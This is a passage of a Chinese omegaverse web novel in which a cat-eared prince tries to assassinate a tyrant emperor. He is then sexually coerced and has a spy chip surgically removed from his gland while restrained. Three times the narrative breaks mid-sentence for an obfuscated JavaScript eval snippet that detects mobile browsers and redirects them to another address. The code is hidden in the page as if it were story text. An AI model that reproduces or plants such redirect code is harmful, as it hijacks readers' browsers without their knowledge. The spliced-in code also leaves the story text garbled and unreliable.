他给自己换了张腺体贴,不知道为什么,腺体还是胀胀的,一直处于发.情期的前兆,明明已经打了抑制剂了,却消不下去,可能是因为楚异的临时标记,他们的契合度太高,他越是接触楚异,越是觉得腺体发痒。 若非必要,还是和那人少接触比较好。 一觉醒来,洛湫便准备出门,房门一打开,对上了巡逻的唐穆,对方走到他面前,面上仍旧没什么表情:“去哪儿?” 洛湫如实道:“去厨房。” 唐穆眼睛里透出一丝不解:“饿了?管家没有给你送饭吗?” 洛湫摆了摆手:“不是,我想自己做点东西。” 唐穆问:“做什么?” 洛湫转身,只道:“没什么,唐穆上将不会连我做什么这种小事也要询问吧?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180912|165269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 唐穆:“……” 他看着洛湫的背影,总觉得空气中似乎有一点淡淡的清雪的信息素味道,不浓,甚至很好闻。 一般Omega不会散发出自己的信息素气味,除非是……快要发.情期了。 他指挥士兵继续巡逻,自己跟上了洛湫。 唐穆一路跟着到了皇宫的厨房,洛湫正在里头捣鼓着,确实如他所说,只是想做点吃的。 但唐穆一向很有耐心,一直在外面等着。 洛湫其实根本不会做什么甜点,尤其是柏城总是给他送的那种糕点,带了点薄荷味,不是很甜,但很好吃,他猜想那应该就是暴君喜欢的口味,但那东西太高级了,他做不来,唯一会做的甜食,只有糖葫芦了,不过这种东西,暴君应该不会吃。 就在他一筹莫展之际,却在外头看见了一个人。 楚欢。 楚欢大概是想来找找有没有什么好吃的,他一向比较贪嘴,他陛下哥哥虽然不怎么约束他,但吃食也不会任由他暴饮暴食,而且他可以很多东西吃一天,却不能一顿吃很多,厨房便是他经常来的地方了。 只是没想到,今天这厨房里,居然还有一个人。 “你……你怎么在这儿?”楚欢没想到来厨房找点吃的也能碰到洛湫,不过转念一想,这人已经被他哥哥留下了,大家都在皇宫,抬头不见低头见的,而且对方确实也没有要伤人的意思,恐惧感也就没有第一次那么强烈了。 但他仍旧离洛湫远远的。 洛湫瞧见他,眼前一亮,尽量不冷着脸,问:“你会做甜点吗?” 楚欢:“???” 楚欢一时不知道洛湫打的什么主意:“柏城管家没给你送吗?主食和甜点不是都有吗?难道……你也没吃饱?” 洛湫没解释,只问:“你会吗?” 楚欢笑了:“那你可问对人了,虽然皇宫的厨子个个都是大厨,但是要说这种小零嘴,我可太拿手了。” 洛湫眨了眨眼:“那你能教我吗?” 楚欢不解:“你为什么要做这个?” 洛湫瞥了他一眼:“你教不教?” 身后细长的尾巴甩了甩,大有威胁的意思。 楚欢差点滑跪:“教!” 洛湫学东西一向很快,没多久,一盘糕点被他装进精美的盘子里。 楚欢看着那一盘糕点,神色一言难尽:“虽然……额,虽然卖相不太好,但是,嗯……味道还行。” 洛湫抿着唇,神色冷峻:“再来!” 楚欢看着洛湫又要继续刚才的步骤,突然一拍脑袋:“啊!我想起来了,做糕点有模具啊!” 洛湫看着楚欢从柜子里拿出一堆外形好看的模具,盯着他问:“你耍我?” 楚欢尴尬地笑了笑:“你看我……敢吗?我这不是被你吓的忘了嘛!” 这一次很快,洛湫便重新做了一盘甜点,他将楚欢伸出去的手拍掉:“你能见到你哥哥,对吗?” 楚欢看着他,眨眼:“能是能,不过你要是想见我哥哥,我可没办法带你去。” 洛湫将盘子塞进他手里:“我不去,你把这盘糕点给他。” 楚欢一愣:“我哥哥又不喜欢吃糕点,你……” 他忽然恍然:“哦!你在这儿待了这么久,跟我学糕点,是为了讨好我哥???!” 楚欢瞥他:“你送不送?” 楚欢连忙道:“送!当然送!不过……你都没见过我哥,为什么做这些啊?” 洛湫没好气道:“和你有关系吗?” 楚欢笑着冲他挤眉弄眼:“当然有啊,你说了,我才知道怎么和我哥说嘛,你难道不想我替你传达些什么吗?” 洛湫看了楚欢一眼,这人好像突然聪明了一点。 他抿着唇道:“我就是喜欢陛下,我对他日思夜想,茶饭不思,连发.情期都提前了。你到底去不去?” 8. 第 8 章 “我就是喜欢陛下,我对他日思夜想,茶饭不思,连发.情期都提前了!” 楚欢将这话原原本本复述给了楚勝,那盘子里的糕点也正放在楚勝的手边,倒是他自己,人站得远远的。 虽然说要帮洛湫说点好话,但指不定他哥不爱听,就把他丢出去了,那倒不如他自己跑。 他说完,抬头看向楚勝,他哥哥只是看了一眼盘子里的糕点,漫不经心地问:“所以呢?” “所以……”楚欢一时摸不准他哥究竟是什么意思,“所以,你留下他,难道不是因为他的s级信息素和精神力对你会有帮助吗?既然他喜欢你,你留着他也有用,不如让他陪着你,就当养个小玩意儿?” 楚勝笑了一声,把那小猫当个小玩意儿养,他怕不是要被折腾个半死,还没见到呢,就先给他下了毒了,真见到了指不定要他的命呢。 楚勝淡淡道:“不需要。” 楚欢知道自己说不动他,干脆道:“人家到时候真发.情期了可怎么办?你不是也受伤了吗?正好Omega帮你治愈一下精神力啊,人家都对你情根深种了,你要是不想要,要不把人放了,他也能去找别的alpha。” 楚勝抬眸看了楚欢一眼,明明是这人把小猫送进宫来的,怎么现在说让小猫去找别的alpha了,他明明笑着,唇角的弧度却有些冷硬:“宫里的刺客还没找到,他有嫌疑。” 楚欢讷讷道:“哦……那他要是发.情期了……” 楚勝:“用抑制剂。” 楚欢看了他哥一眼,对方神色没多大的变化,但显然有些不耐烦了。 他嘟囔了一声:“那多疼啊……” 楚勝的目光带着凉意扫了过来:“你话怎么这么多?” 楚欢连忙就要跑,又听见他哥在他身后道:“糕点拿走。” 楚欢连忙退了回去,把糕点整盘端走,自己拿了个就要塞嘴里。 “谁让你吃的?” 楚欢的动作停在原地,嘴还张着呢。 他哥怎么有点怪怪的呢?平常也不管他吃东西啊,怎么今天他吃一块糕点都要说? “你不是不吃吗?倒了也浪费啊。” 楚勝收回目光,重新看着影像信息:“还给人家,一块也不许动。” 楚欢:“……” 他哥真的好奇怪。 楚欢前脚刚出去,唐穆后脚便进了屋子。 他朝着楚勝行了礼,直入主题:“陛下,法尔研究院那边有新的动作了。” “说。” 唐穆道:“洛湫回了一趟法尔研究院,米利教授似乎在洛湫身上做了点手脚,应该是用来窥探您的。” …… 洛湫在房间里等楚欢,看到楚欢端着糕点回来,他不由得问:“你没见到陛下?” 楚欢摇了摇头:“见到了,我也说了,但是我哥说他不需要Omega。” 洛湫眨了眨眼:“你说什么了?” 楚欢把盘子放到桌子上,他哥不让他吃,他一块也没动:“我说你对我哥情根深种,只想见他一面啊。” 洛湫:“……” 洛湫拿起糕点自己吃:“我那是说给你的,不是让你说给陛下的!” 这下好了,那暴君估计要怀疑他别有所图了,更不会见他了。 楚欢东西送到了,看洛湫吃,他也跟着吃:“你不是喜欢我哥吗?喜欢就得告诉他啊,你不告诉他,他怎么会知道呢?他不知道你喜欢他,怎么会见你呢?” 洛湫没好气道:“说了他不是也不见吗?你哥怎么这么难搞。” 楚欢大笑了起来:“哈哈哈哈!我还是头一次听见有人说我哥难搞的。” 洛湫:“……本来就是。” “也没人敢搞我哥啊。” “算了,”洛湫准备赶客,“不见就不见吧。” 他还是继续晚上去蹲着,保不准就让他守株待兔到了。 楚欢却道:“别啊!你喜欢我哥,怎么能这么没耐心呢?你可是Omega,还是s级的,俗话说得好,o追A,易如反掌!” 洛湫瞥了他一眼,这暴君的弟弟听见有人喜欢他哥,居然这么激动吗? 似乎是怕洛湫真的放弃了,楚欢连忙道:“我可以帮你啊!” 洛湫顿时看向他:“你怎么帮我?” 楚欢嘿嘿一笑,神神秘秘地凑近洛湫,这会儿都忘了怕他了:“我可以帮你引开唐穆,你趁机躲到我哥的卧室,等我哥晚上回来,剩下的你自己看着办呗。” 洛湫竟然觉得这是个好办法,楚欢的想法与他不谋而合:“可是你能保证你哥晚上一定会回卧室吗?” 楚欢道:“今天不行就明天,他总不能天天不在吧?追求需要耐心,懂吗?” 洛湫看了他一眼:“看起来你很有经验。” 楚欢嘻嘻一笑:“我拿下的小O没有一千也有一百,信我的准没错!” 洛湫虽然现在是个落魄的亡国王子,但曾经他也是不乏追求者的,楚欢“搞定”的Omega里,估摸着大多是冲着他的身份来的。 不过他看着楚欢单纯的笑脸,没有戳破对方的自信心。 两人一拍即合,到了晚上,洛湫便听到了门外走廊里传来楚欢的声音:“唐穆上将!我的脚崴了,你快来帮我看看!” 紧接着是唐穆加快了的脚步声:“楚欢亲王,您怎么会在这里?” 楚欢道:“我来找我哥,没几天就是我生日了,这次生日会他还不来,我就……生气了!” 唐穆似乎是习惯了:“陛下不在房间。” 楚欢问:“那他什么时候在?晚上能在吗?” 唐穆:“陛下的行踪我也不知道,您还是先回去吧。” 楚欢遗憾道:“那劳烦上将送我回去吧,我走不了了。” “是。” 洛湫听着门外的动静彻底消失,这才打开房间门,他躲开守卫悄悄潜入了楚勝的卧室,四下看了看,一回生二回熟地钻入了楚勝的被子里。 要是真被发现,他还可以说自己急不可耐,把自己打包送到了床上。 时间一分一秒地流逝,洛湫也不知道自己等了多久,猫耳朵都耷拉在枕头上,门口这才传来了动静。 他立刻藏好,谨慎地把尾巴放在了靠里边的位置,耳朵竖着聆听外间的动静。 只有一个人的脚步声,看样子是楚勝回来了,不过对方并没有直接来床上,而是在外间的桌子前坐了下来。 洛湫不禁想,要是对方不睡觉,在外间处理一晚上的公务,那他岂不是又白来?这样的距离,足够暴君反应过来挡下他的攻击,一击不成,很难再杀。 洛湫决定先静观其变。 “陛下,针对Omega增加有关的法律政策是否能够通过呢?alpha身为天生的决策者,理应用过更高的地位与权利。” 洛湫听见有声音带着电流感从外间传进来,应该是暴君开始处理公务了,也不知道要商讨到什么时候。 “驳回。”那人的嗓音有些低沉,又有些熟悉,洛湫总觉得在哪里听过,也许是在某个超大的演奏厅里。 等等,不对,暴君的声音,难听!非常难听! 洛湫心里唾弃了自己一阵,继续听外面的动静。 又换了一个人:“陛下,西尔弗帝国边防的飞船屡屡试探,一而再地挑衅我国,是否派飞船回击?” “或许你该给我一个不回击的理由。” 对面立刻道:“明白。” 洛湫一边听,一边反而来了精神,这些东西他以前也没少听,但是每一个问题,他的父王总是要斟酌再三,细细想过后果,一步三算,才能最终给出答复,往往需要沉思许久。 而这暴君每次的回答都不超过三秒,极为迅速地给出回答,洛湫能听得出来,对方每一次的指令都是他父王需要深思熟虑后才能得出的答案。 对方的情绪一直很淡,不论对方的请求有多么离谱或是多么令人气愤,那暴君始终平静地下达指令。 不过……也有低沉的时候。 “陛下,您身边一直没有Omega,十分令人忧心啊,毕竟帝国需要一位王后,以及您强大的后代啊。” 暴君的声音便沉了一度,带了点不耐:“你实在闲的话,西尔弗边防缺人手,吾可以把你调过去建立军功。” 对面立刻闭上了嘴,切断了谈话。 还真和楚异说的一样,暴君不喜欢Omega,一点儿都不喜欢。 为什么呢?alpha在面对Omega地时候有着天然的保护欲或是凌虐欲,以及占有欲,这是生理天性。 这暴君……莫非是有什么生理缺陷? 洛湫心底暗自冷笑,活该! 暴君处理了一会儿公务,洛湫便跟着听了那么久,对面的每一个人的状态都带着些畏惧,或多或少。 这些人对于他们的王,深深敬畏着。 洛湫在被子里沉默了一会儿。 好在楚勝今晚没有处理一整夜公务的打算,洛湫高度警惕地等着楚勝朝床这边走来。 近了,快近了,就在楚勝的脚步声抵达床边,洛湫一掀被子,眼前银光一闪而过,冷冽的匕首淬着蓝环章鱼的毒,直直刺向对方的心口! 只是他的速度这样快,却没想到,楚勝的速度比他更快,他的匕首只差一点点就能刺进对方的胸膛,但只能眼睁睁看着对方后退,那快到只剩残影的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180913|165269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暴君让洛湫这个出手犹如闪电的速度都自愧不如。 洛湫反应倒是也快,立刻贴着暴君的残影追了上去,他甚至连对方的模样都看不清楚,但他也没兴趣知道,手里的匕首再度刺向对方,但比他更快的,是朝他掠过来的黑影。 洛湫只能立刻转变手里匕首的方向,砍向周围的黑影,只是那些东西好似从四面八方涌来,像水一样,匕首却只能划向一个方向。 有微硬的东西被他的匕首削下来,掉在地上,那是一截透蓝的水母触手。 洛湫瞳孔微缩。 下一秒,各个方向的水母触手立刻缠上了他的手腕和脚踝,甚至是腰肢,湿漉漉的感觉令他熟悉又厌恶。 触手太多,洛湫只能先将缠着涌来的触手砍断,锋利的匕首在左右手之间切换,将靠近他的触手齐齐斩断,而那暴君只会躲在触手的后面,不敢正面交锋! 但洛湫知道,今日不杀暴君,他后面将没有机会。 他一边砍掉触手,一边再度飞速掠向楚勝,任凭身后那些触手拖着他,想要将他拼命拽回,也难以阻挡他的决心! 就在他快要接近对方时,海洋般的信息素朝他奔涌来,如有实质一般扑打在他的脸上,那一瞬间,仿佛他真的被海浪卷入,跌进大海深处,任凭他怎么努力也无法露出头去呼吸,四肢被海草缠着,往下拖拽着,他拼命挣扎,却只能沦陷,只能溺毙。 这信息素的气味很熟悉,像极了标记他的楚异,同样是大海的味道,但气势截然不同,楚异的信息素十分温柔,像是一团棉花将他包裹在里面,不会伤害他,甚至会主动托着他,让他浮出水面,让他自由呼吸,温柔中带着些许强势,却不会让他反感。 而暴君楚勝的信息素,像是深渊,将他困在其中,无尽海底中延伸出一条条锁链,将他锁在海底,让他挣扎着,让他无法逃离,让他绝望。 侵略性的信息素将他包围,脖颈后的腺体又在作怪,洛湫强忍着身体的不适,想要释放自己的信息素去抵挡alpha的信息素,然而对方却连机会都没有给他。 s级的alpha信息素重重压着他,百分百的匹配率调动着他的腺体,让他浑身都软了下来,但他不服,他不甘,即便被水母触手再次束缚住手脚和身体,他也没有松开手中的匕首,没有让自己软倒在地上。 他看着对方朝他走近,水母触手从他眼前散开,他看到了一张精致冷硬的面容,浅蓝色的长发垂落在那人的身侧,淡蓝的眼眸倒映出他狼狈的身姿,轻蔑的神情仿佛在说,凭你也想杀吾? 洛湫瞳孔一缩。 楚异?! 他看着对方朝他走近,走到他身前,那人打量了他一眼,玩味一笑,伸手将他的尾巴握在了手里,轻轻揉捻着。 洛湫的脸瞬间发烫,楚勝的手抚过他尾巴的地方,都令他战栗,电流直直蹿上他的脊柱,他忍着屈辱,瞪着对方:“楚异……你从一开始就在耍我?!” 楚勝瞥了他一眼,目光又落在他的耳朵上,勾了勾唇角:“楚异……这个名字吾很久没听到了,你倒是让吾想起来吾还有个孪生弟弟。” 孪生弟弟? 洛湫一怔,从来没有听说过暴君有孪生弟弟,就像之前也从未听说过楚异的存在,华利亚帝国将一位帝王的孪生弟弟藏得严严实实,究竟是为什么? 但洛湫此刻没办法追究这件事,他紧紧盯着楚勝,眸光冷冽地望着对方握着他的尾巴,用他的尾巴挑起了他的下巴,迫使自己仰起头。 楚勝浅笑地看着洛湫满是恨意与屈辱的眼眸,道:“吾还以为你有什么本事,不过如此。” 洛湫咬了咬牙,被压着的信息素爆发了出来,空气中两道信息素挤压着,楚勝的眼中闪过一丝诧异。 Omega的信息素天生比alpha的信息素要弱,在alpha的信息素面前,Omega没有太多反抗的余地,只有Omega发.情的时候,外泄信息素会让周围的alpha被动陷入易感期,除此之外,在alpha面前,只会被死死压制着。 像洛湫这样还能反抗的Omega,太过少见,尤其是两人还有着百分百的信息素匹配率,按理来说,这会儿洛湫应该陷入了发.情期。 楚勝垂了下眼,将人甩到了床上。 洛湫还没来得及从碰撞中反应过来,那暴君已然靠了过来,他被对方困在床上,那人同他挨得极近,呼吸几乎纠缠在了一起,他感受到楚勝的手缓缓碰上了他脖颈后的腺体,指尖按在了他的腺体贴上。 这样的动作像是他被那人温柔地抱在怀里,可对方那极具侵略性的气息让洛湫胆寒,甚至在对方碰到他腺体的刹那,他整个人轻颤了一下。 “不,你不能这么做。” 9. 第 9 章 “你都落在吾的手里了,吾为何不能这么做?”楚勝似笑非笑地望着他,手仍旧按在腺体贴上。 洛湫愤愤地望着对方:“士可杀不可辱,要杀要剐我都认了,但你如果对我做些别的什么,我做鬼都不会放过你!” 楚勝闻言,却只是笑了笑:“做鬼都不会放过吾的人有很多,多你一个也无妨。” 他说完,指尖一动,洛湫便感觉腺体上的束缚一松,腺体贴被整个撕了下来,鼓胀的腺体暴露在空气中,发着烫。 下一秒,洛湫被那人揽着腰肢贴近了对方的怀里,楚勝的指腹按在了他的腺体上,没了腺体贴的隔绝,微凉的指腹触到他发烫的腺体,舒服得令他一颤,偏偏那人的手并不安分,重重在他的腺体上按了一下,电流仿佛从腺体处延着他的脊柱蹿了下去,他死死咬住嘴唇,才没让自己呻.吟出来。 “住手……”洛湫的四肢仍旧被水母触手缠着无法动弹,他只能扯着下面的被子,紧紧攥着。 “住手?”楚勝戏谑的声音从上方传来,“这尾巴摇的那么欢,难道不是喜欢吗?” 洛湫羞愤难当。 胡说八道,他根本没有摇尾巴,只有狗高兴了才摇尾巴,他是猫! 他瞥了楚勝一眼,看着对方戏谑的神情,知道这人在恶意解读,却仍旧被对方弄得又羞又气。 他低下头不再看楚勝,整张脸红得要滴血,更可气的是他整个人都在发烫,在颤抖:“……住口。” 楚勝低笑了一声,在洛湫耳边轻轻吐气:“到底是要住手,还是住口呢?” 洛湫被那人逗得眼尾都挂上了泪珠,他强忍着不让泪水落下,“你这个暴君……哼……” 他还没骂完,腺体上那只按着的手指又换了个位置重重按了下去,电流直蹿尾椎骨,爽/得/洛湫脚趾都蜷在了一起。 他整个人颤了起来,身上却因为被水母缠着,没什么着力点,不上不下又有些难受。 “啧。”楚勝按完之后,似乎皱了皱眉头,将人松开了,手指离开腺体的同时,水母触手也尽数从洛湫身上松开。 洛湫倒在了床榻间,整个人软得一点力气也提不起来,更别说立刻逃跑了,脊椎处电流的酥麻感久久散不去,他只能倒在那里,看着楚勝与他拉开距离,甩了甩摸过他腺体的手,脸上的表情没有一丝动摇。 一瞬间,巨大羞耻感将他吞噬,他好似一个坏了的布娃娃,而刚刚玩.弄他的人,身上的衣服一丝不苟,脸上的神情自若,抽离得那样随意,相比之下,他糟糕透了。 只听见楚勝垂下眼眸,面色冷淡,朝门口唤道:“唐穆。” 唐穆听到声音,立刻冲了进来,空气中两种信息素交织着,一道雪一般的清冷在他进门的一瞬间便轻而易举地调动起了他的易感期,而另一道深海般危险的信息素带着强大的压迫感,在刹那锁定了他。 唐穆低着头没有乱看:“陛下,有什么吩咐?” 楚勝看了床上的洛湫一眼,水母触手飞速缠在少年的腰上,将人甩到了唐穆面前:“你知道该怎么做。” 唐穆瞥了一眼洛湫,少年雪白的脸上满是情.潮的红色,眼尾的泪珠似坠不坠,浓郁的信息素更是让人招架不住,对方此刻脱了力,好似被逗弄到了极限,唐穆按下心底的心猿意马,拿出电击环将洛湫的双手锁了起来,他攥住少年的双手,回答楚勝:“属下明白。” 唐穆拉着人刚要离开,楚勝却再度开了口:“唐穆。” 唐穆回头,一道黑影朝他飞速掠来,他抬手一抓,掌心多了一管抑制剂,他愣了愣,看向楚勝,又飞速低眸:“是。” 他打开抑制剂的针头,毫不犹豫地扎入自己的手臂。 陛下不会好心照顾他被Omega引起的易感期,但不知出于什么原因,信不过他的自制力,也不放心他。 一针打完,唐穆拉着洛湫又要走,楚勝的目光却轻轻落在了他的手上:“唐穆,这小猫儿现在名义上算是吾的Omega,你应该知道分寸。” 唐穆顺着楚勝的目光,落在了自己的手上,他的手正捏住洛湫的手腕。 似是明白了什么,唐穆立刻松开了洛湫的手,只按住了锁着少年手腕的电击环,应道:“是!” 唐穆这才带着洛湫离开了楚勝的卧室,背后也不知何时渗出了一身冷汗。 陛下什么时候对洛湫如此上心了? 他心底存着疑惑,带着洛湫进了审讯室。 这会儿洛湫倒是缓了不少,但被百分百匹配率的alpha如此挑.逗,身上的各种不适都无法立刻消散,比如这会儿,他的腿还是软着。 这是他第三次进审讯室,不过这一次的审讯地点并不是一张椅子,而是一张床。 一张手术床。 洛湫心底一沉,未知的恐惧在他心里蔓延开来,楚勝方才的意思是要留着他一口气吗?所谓的分寸,是指折磨他却不让他死吗? 躺上这张手术床,迎接他的,就是生不如死吧? 洛湫咬了咬牙,下一秒就被唐穆押上了手术床,他整个人背朝上躺着,手术床底下突然升起冰凉的铁环,将他的四肢,以及身上所有的环节都禁锢住,甚至是他的头,他被锁在床上,哪怕连一根手指都无法由他自由操控。 他面朝着手术床,看不到身后的人要做些什么,只听见金属碰撞的声音,而他如同砧板上的鱼,不,那鱼好歹还能挣扎蹦跶两下,而他连转一下脑袋都做不到。 没一会儿,冰凉的棉签贴在了他的腺体上,洛湫闻到了消毒水的气味,他整个人狠狠一颤,瞳孔剧烈地缩了缩。 腺体是alpha和Omega最脆弱也最敏.感的地方,别的酷刑他都能一声不吭地扛下来,可唯独腺体……若是真做些什么,他无法保证自己不崩溃,毕竟那地方只是被按了两下,都能让他毫无还手之力。 这样的手段,这暴君真是卑鄙! 他的腺体以及周围都被涂上了一层碘伏,冰凉的金属贴在了他的腺体上,洛湫的呼吸变得急促,下一秒,锋利的手术刀划开了他的腺体。 洛湫的惨叫声顿时在整个审讯室响起。 被关押在审讯室里的其他罪犯听见他的声音都不由得打了个寒颤。 “是唐穆上将在对哪个罪犯用刑吗?” “这叫的也太惨了,难以想象是什么样的酷刑。” “我还从来没在审讯室听到过这样凄惨的叫声,这罪犯一定是穷凶极恶,才能让唐穆上将下这样的毒手!” “我害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180914|165269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕……等到审讯我的时候,我迅速交代能不能不用刑?” “叫声好像弱了点,是快扛不住了吗?” “声音都哑了,第一声那叫一个凄厉啊,但后面几声怎么听着像是硬抗下来了呢?” “那得是何等的意志?八成了快晕过去了吧?” 手术床上的洛湫饶是做足了心理准备,在那一刀毫不犹豫地划开他的腺体的瞬间,他的心理防线还是被击溃,疼痛席卷了他,吞噬了他的理智与意志,直接惨叫出声。 然而当第二刀落下的时候,洛湫死死咬住了脸下的枕头,只是声音仍旧泄露了出来。 好痛!真的好痛! 洛湫脸色发白,同时他也终于明白为什么床上的铁环要将他每一个关节都固定住了,若是有一点松懈,方才第一刀落下的时候,他已经挣扎着从床上弹起来了。 就……和被剐了鱼鳞的鱼一样,没人按住它,便会在砧板上翻滚跳跃,甩得周围一团乱,将周围搅个天翻地覆不得安宁。 可现在他被死死固定在手术床上,只能被迫接受着无法忍受的疼痛降临。 洛湫本以为,划开腺体,已经是他承受的极限了,没成想,手术刀在唐穆的手中一转,甚至挑开着那一道道新鲜的伤口,巨大的疼痛吞没了他,最终让他昏死了过去。 唐穆感受到洛湫晕过去了,手中的动作加快了一些,他用镊子将埋藏在对方腺体中的芯片取了出来,再替洛湫将腺体的伤口缝合,手术才终于完成。 “把他送回去吧。”唐穆端着芯片,同属下吩咐了一声,朝着卧室折返。 他在门外恭声道:“陛下。” “进来。” 唐穆推门而入,将芯片呈给楚勝:“芯片已经取出来了,没有破坏,法尔研究院为了窥探陛下,真是煞费苦心。” 楚勝瞥了盘子里小巧的芯片一眼,眸光中染上了一层冷意,他手上戴上了一副黑色的手套,漫不经心地捏着那枚芯片,在手里把玩着:“法尔研究院既然想听,那就让他们听个够。” “把芯片送去给齐博士,他知道该怎么做。” 唐穆说完,手里的芯片像是极脏的垃圾,被他丢回了盘子里,他厌恶得一眼都不想看到。 “人呢?” 唐穆端走盘子,愣了愣,道:“晕过去了。” 楚勝轻轻看着他:“然后呢?” 唐穆:“……呃,送回卧室了。” 楚勝的唇角微微挑了起来,眼底却依旧冰凉:“唐穆啊唐穆,你下手未免太重了。” 唐穆觉得自己最近越来越读不懂陛下的心思了,但他还是一本正经道:“陛下吩咐,属下自当竭尽全力。” 楚勝轻笑了一声:“吾有吩咐你什么吗?” 唐穆低着头,汗水重新打湿了后背,脑海中白光一闪:“是属下自作主张………请陛下恕罪!” 楚勝这才收回了目光:“让齐钧先去小猫那里走一趟吧,你粗手粗脚的,吾的Omega可不能留下什么后遗症。” 唐穆:“……是。” 唐穆走出楚勝的卧室,仰头望了一下明媚的天光,他仿佛刚才在阎罗殿走了一趟,死里逃生。 陛下最近是怎么了?危险中还带了一丝诡异。 10. 第 10 章 痛!好痛! 好似有无数把刀扎进了他的腺体,搅得他在地上打滚,可他的身体却怎么也动不了,他仿佛灵魂与身体分开,操控不了身体躲开,却仍旧能感受到那份疼痛。 “啊!”洛湫终于从梦中惊醒,他猛的睁开双眼,大口喘息着,身上的束缚早已消失,身体的掌控权重新回到了他的手里,那种感觉太恐怖了,确实足以让人生不如死。 这就是暴君的手段吗?在短短的时间内让人心生恐惧。 他现在……这是在哪? 洛湫似乎才反应过来自己已经不在审讯室,他转头对上了楚欢的目光,对方正一脸焦急地看着他:“我听唐穆说你被带去审讯室了,是被我哥发现了吗?你看起来很虚弱,发生了什么?” 洛湫现在看着华利亚帝国皇室的任何人都觉得来气,他冷着脸瞥了楚欢一眼,没有说话。 楚欢更着急了:“你不是喜欢我哥吗?这也就算闯进他房间,也不是什么大罪啊,怎么还给你丢进审讯室了呢?唐穆是不是对你用刑了?你快告诉我啊。” 洛湫感受着脖颈后腺体传来的疼痛,虽然已经不及划开时候那样疼,此时却也令他不敢肆意动作:“你自己问唐穆。” 不过唐穆竟然将他送回了卧室,而不是留在审讯室,没打算要他的命,也没打算一直折磨他,甚至没有将这件事宣扬出去,那暴君究竟打的什么算盘? 楚欢见洛湫不愿多说的样子,只觉得对方可能是心碎了,也是,这小猫捧着满腔爱意去找他哥,他哥反手给人丢进审讯室痛打一顿,人能不伤心吗? 他叹息了一声:“我哥……他可能是真不喜欢Omega,要不算了,你别喜欢他了。” 洛湫没好气道:“谁要喜欢他!” 该死的暴君,谁管他打什么算盘,既然不杀他,那迟早有一天,他还是会亲手杀了那个暴君! 楚欢这下更是认定了洛湫心碎,还没等他再安慰两句,门口响起了敲门声,洛湫不方便扬声说话,楚欢便代替了他:“谁啊?” “是我,唐穆。” “滚出去!”洛湫厌恶地皱了皱眉。 如果可以,真想令华利亚帝国就此覆灭,他原本该向华利亚帝国上一任的王,也就是暴君楚勝的父王复仇,割下那人的头颅祭奠他的父王母后,可不等他来,短短一年的时间,那人就被暴君亲手杀了。 哼,死在自己的儿子手中,洛湫虽然拍手叫好,但仍觉得不够痛快,自己没能亲手杀死对方,没能亲手报了仇。 但楚钦已死,他也只能向华利亚帝国剩下的皇族复仇,比如新王楚勝,既然是个暴君,那就让他为民除害,告慰他父王母后的在天之灵。 敲门声还在继续,洛湫本来想翻身背对着房门,只是他刚一动,腺体的疼痛便让他直皱眉,他只能面朝下地躺着。 楚欢看着洛湫难受伤心的模样,替他赶人:“唐穆上将,洛湫现在不想见人,你走吧。” 唐穆却道:“洛湫的腺体受了伤,陛下请了齐博士为他修复,劳烦开门。” “什么?!”楚欢顿时看向洛湫,“你腺体受伤了?!这可了不得,难怪你脸色这么白,赶紧让齐博士进来吧!” 楚欢说着便去开门,洛湫开口想拦却已经来不及了,只能闭上眼睛,不去看门口的人。 唐穆向楚欢行了礼,领着齐钧走进了房间,让出身为:“齐博士,麻烦您了。” 齐钧穿着一身白大褂,手里拎着医疗箱,冲着两人友好地点了点头,然后朝病人走去。 入目便是趴在床上摊成“猫饼”的洛湫,看着对方懒倦的姿态,齐钧不由得轻笑了一声,他鼻梁上的眼镜反了反灯光,将医疗箱放下,看了一下,道:“这后面的头发挡住腺体了,剃了吧。” 洛湫本来不想理人,但是一听这个,顿时睁开了眼睛:“不行!” 怎么折磨他腺体的时候不需要剃他的头发,现在要给他治疗反而需要了? 齐钧又笑了一下:“那就给我根发圈或是发夹吧。” 洛湫这才反应过来对方是在说玩笑,抿着唇冷了脸。 他的头发被绑起来,露出贴了纱布的腺体,齐钧小心地撕开了纱布,看了一眼缝合好的腺体,点了点头:“这一看就是唐穆上将的手笔。” 唐穆没有说话。 齐钧重新用绷带包扎了一下:“三天后再上药吧,现在不能碰腺体。” 楚欢也看清了那腺体上的刀痕,触目惊心,他忍不住问:“这腺体是不是坏了?以后都不能用了?” 齐钧道:“不会,没有伤到腺体深处,不过……之前似乎打过什么药剂,会破坏腺体的信息素,暂时看不出来,等之后伤口好一些我再来做个检查。” 楚欢松了口气:“那就好。” 齐钧说没事那就一定是没事。 “忌口什么的我会告诉柏城管家,在腺体彻底好之前,抑制剂什么的不可以再打了。”齐钧给洛湫包扎完,如是道。 